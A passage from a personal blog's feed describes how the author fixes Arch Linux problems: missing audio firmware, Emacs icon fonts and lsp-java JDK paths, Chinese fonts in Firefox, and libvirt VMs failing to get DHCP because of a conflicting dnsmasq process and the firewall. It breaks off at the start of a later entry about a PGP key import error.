&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Firmware&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ipc4&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ri&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Topology&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;ace&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;tplg&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;hda&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;generic&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;ch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tplg&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;you&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;have&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;sof-firmware&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;installed&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Optionally&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;can&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;be&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;manually&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;downloaded&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;github&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;thesofproject&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;span class="n"&gt;May&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;audio&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pci&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;intel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;mtl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sof_probe_work&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I was sure I had already installed &lt;code&gt;sof-firmware&lt;/code&gt;, but you know what?
I hadn't! This was shortly remedied with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S sof-firmware
# reboot
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Fonts in Emacs&lt;/h2&gt;
&lt;p&gt;To get the fonts for the nice icons on the mode line that
&lt;code&gt;doom-modeline-mode&lt;/code&gt; puts on, I had to install the package:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S ttf-nerd-fonts-symbols-mono
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;LSP in Emacs&lt;/h2&gt;
&lt;p&gt;&lt;kbd&gt;M-x lsp-mode RET&lt;/kbd&gt; gave the error:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;make-process--with-editor-process-filter: Doing vfork: No such file
or directory&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I found no good way of getting Emacs or &lt;code&gt;lsp&lt;/code&gt; to tell me exactly
&lt;em&gt;what&lt;/em&gt; wasn't found, so I had to bisect my &lt;code&gt;.emacs&lt;/code&gt; manually. It
turned out that&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;setq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsp-java-java-path&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/usr/lib/jvm/java-21-openjdk/bin/java&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Pointed to a non-existing JDK. After installing the needed version,
LSP worked as it should. I've &lt;a href="https://github.com/emacs-lsp/lsp-java/issues/479"&gt;suggested an improvement in
lsp-java&lt;/a&gt; to help
future Emacs users.&lt;/p&gt;
&lt;h2&gt;Firefox cannot display Chinese characters&lt;/h2&gt;
&lt;p&gt;Both Simplified Chinese and Traditional Chinese characters showed up
as boxes:&lt;/p&gt;
&lt;p&gt;&lt;img
  class="centered"
  src="/2024/firefox-missing-chinese-fonts.png"
  alt="Firefox showing text where Chinese characters are showed as boxes"
/&gt;&lt;/p&gt;
&lt;p&gt;Installing this font:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S wqy-microhei
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and restarting Firefox resolved the issue. I can now read Simplified
Chinese and Traditional Chinese to my heart full content.&lt;/p&gt;
&lt;h2&gt;libvirtd / virt-manager VMs don't get IP&lt;/h2&gt;
&lt;p&gt;Turns out &lt;code&gt;dnsmasq&lt;/code&gt; wasn't running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl status dnsmasq
× dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/usr/lib/systemd/system/dnsmasq.service; disabled; preset: disabled)
     Active: failed (Result: exit-code) since Mon 2024-06-10 09:33:37 CEST; 1min 2s ago
..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Starting it again gave a clue:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;#&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;systemctl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dnsmasq&lt;/span&gt;
#&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;journalctl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dnsmasq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;f&lt;/span&gt;
..
&lt;span class="nv"&gt;Jun&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;09&lt;/span&gt;:&lt;span class="mi"&gt;38&lt;/span&gt;:&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;mithrandir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dnsmasq&lt;/span&gt;[&lt;span class="mi"&gt;29904&lt;/span&gt;]:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;failed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;create&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;listening&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;socket&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;already&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;use&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Indeed:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# netstat --tcp -nlp | grep 53
tcp        0      0 192.168.122.1:53        0.0.0.0:*               LISTEN      1967/dnsmasq
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So I'd better close that one down. but first, I wanted to find out
&lt;em&gt;what&lt;/em&gt; started it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ ps -u -p 1967
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
nobody      1967  0.0  0.0  13916  1968 ?        S    Jun07   0:00 /usr/bin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/defaul
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, &lt;em&gt;that&lt;/em&gt; looks very daemony, running as user &lt;code&gt;nobody&lt;/code&gt; and all, but
that's something of &lt;a href="https://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/usernames.html"&gt;a relic from
LSB&lt;/a&gt;
and with systemd, running with &lt;code&gt;DynamicUser&lt;/code&gt; is a better option (or
indeed any dedicated user, to ensure that the same user, no matter how
unprivileged, is shared across processes).&lt;/p&gt;
&lt;p&gt;Killing that method with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# kill -9 1967
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And starting &lt;code&gt;dnsmasq&lt;/code&gt; again, looked so much better:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# journalctl -u dnsmasq -f
..
Jun 10 09:47:01 mithrandir systemd[1]: Starting dnsmasq - A lightweight DHCP and caching DNS server...
Jun 10 09:47:01 mithrandir dnsmasq[31222]: dnsmasq: syntax check OK.
Jun 10 09:47:01 mithrandir systemd[1]: Started dnsmasq - A lightweight DHCP and caching DNS server.
Jun 10 09:47:01 mithrandir dnsmasq[31223]: started, version 2.90 cachesize 150
Jun 10 09:47:01 mithrandir dnsmasq[31223]: compile time options: IPv6 GNU-getopt DBus no-UBus i18n IDN2 DHCP DHCPv6 no-Lua TFTP conntrack ipset nftset auth cryptohash DNSSEC loop-detect inotify dumpfile
Jun 10 09:47:01 mithrandir dnsmasq[31223]: DBus support enabled: connected to system bus
Jun 10 09:47:01 mithrandir dnsmasq[31223]: reading /etc/resolv.conf
Jun 10 09:47:01 mithrandir dnsmasq[31223]: using nameserver 10.0.128.100#53
Jun 10 09:47:01 mithrandir dnsmasq[31223]: using nameserver 10.0.128.110#53
Jun 10 09:47:01 mithrandir dnsmasq[31223]: using nameserver 8.8.8.8#53
Jun 10 09:47:01 mithrandir dnsmasq[31223]: read /etc/hosts - 0 names
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The VM didn't get an IP via DHCP directly, so I tried retarting
it. Still no cigar. Then, I tried to restart &lt;code&gt;libvirtd&lt;/code&gt; itself:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl restart libvirtd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I thought I was homefree, but alas:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# journalctl -u libvirtd -f
..
Jun 10 09:50:28 mithrandir systemd[1]: Started libvirt legacy monolithic daemon.
Jun 10 09:50:29 mithrandir dnsmasq[31614]: failed to create listening socket for 192.168.122.1: Address already in use
Jun 10 09:50:29 mithrandir dnsmasq[31614]: FAILED to start up
Jun 10 09:50:29 mithrandir libvirtd[31561]: libvirt version: 10.4.0
Jun 10 09:50:29 mithrandir libvirtd[31561]: hostname: mithrandir
Jun 10 09:50:29 mithrandir libvirtd[31561]: internal error: Child process (VIR_BRIDGE_NAME=virbr0 /usr/bin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf --leasefile-ro --dhcp-script=/usr/lib/libvirt/libvirt_leaseshelper) unexpected exit status 2:
                                            dnsmasq: failed to create listening socket for 192.168.122.1: Address already in use
Jun 10 09:51:57 mithrandir libvirtd[31561]: Domain id=2 name=&amp;#39;debian12&amp;#39; uuid=1181da1e-8e70-4a45-831b-ff6a61de639a is tainted: host-cpu
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;I then got an idea: Perhaps the &lt;code&gt;dnsmasq&lt;/code&gt; service should be disabled? Since it looks like &lt;code&gt;libvirtd&lt;/code&gt; is a service that starts multiple services, including &lt;code&gt;dnsmasq&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# systemctl stop dnsmasq
# systemctl disable dnsmasq
# systemctl restart libvirtd
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, that looked better:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# journalctl -u libvirtd -f
..
Jun 10 09:55:01 mithrandir systemd[1]: Started libvirt legacy monolithic daemon.
Jun 10 09:55:02 mithrandir dnsmasq[32243]: started, version 2.90 cachesize 150
..
Jun 10 09:55:02 mithrandir dnsmasq-dhcp[32243]: DHCP, IP range 192.168.122.2 -- 192.168.122.254, lease time 1h
Jun 10 09:55:02 mithrandir dnsmasq-dhcp[32243]: DHCP, sockets bound exclusively to interface virbr0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But my VMs were &lt;em&gt;still&lt;/em&gt; not getting an IP.&lt;/p&gt;
&lt;p&gt;It turned out my firewall was in the way. On my VM, I checked if I
could access &lt;code&gt;dnsmasq&lt;/code&gt; on the host machine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$ nc -zv 192.168.122.1 53
^C
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Thus, I needed to punch a hole in my firewall to allow VMs on my
&lt;code&gt;libvirtd&lt;/code&gt; created network to request IPs from &lt;code&gt;dnsmasq&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# ufw allow from 192.168.122.0/24 to 192.168.122.1 port 53 proto tcp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, my VMs could finally request access the DHCP server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# nc -zv 192.168.122.1 53
Connection to 192.168.122.1 53 port [tcp/domain] succeeded!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="linux"/><category term="arch"/></entry><entry><title>Arch key could not be imported</title><link href="https://skybert.net/linux/arch-key-could-not-be-imported" rel="alternate"/><published>2024-05-27T00:00:00+02:00</published><updated>2024-05-27T00:00:00+02:00</updated><author><name>Torstein Krause Johansen</name></author><id>tag:skybert.net,2024-05-27:/linux/arch-key-could-not-be-imported</id><summary type="html">&lt;p&gt;Got this error&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S &amp;lt;package&amp;gt;
:: Import PGP key 45B429A8F9D9D22A, &amp;quot;Daurnimator &amp;lt;daurnimator@archlinux.org&amp;gt;&amp;quot;? [Y/n]
error: key &amp;quot;45B429A8F9D9D22A&amp;quot; could not be imported
error: required key missing from keyring
error: failed to commit transaction (unexpected error)
Errors occurred, no packages were upgraded.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, I created backup of the old gnupg …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Got this error&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# pacman -S &amp;lt;package&amp;gt;
:: Import PGP key 45B429A8F9D9D22A, &amp;quot;Daurnimator &amp;lt;daurnimator@archlinux.org&amp;gt;&amp;quot;? [Y/n]
error: key &amp;quot;45B429A8F9D9D22A&amp;quot; could not be imported
error: required key missing from keyring
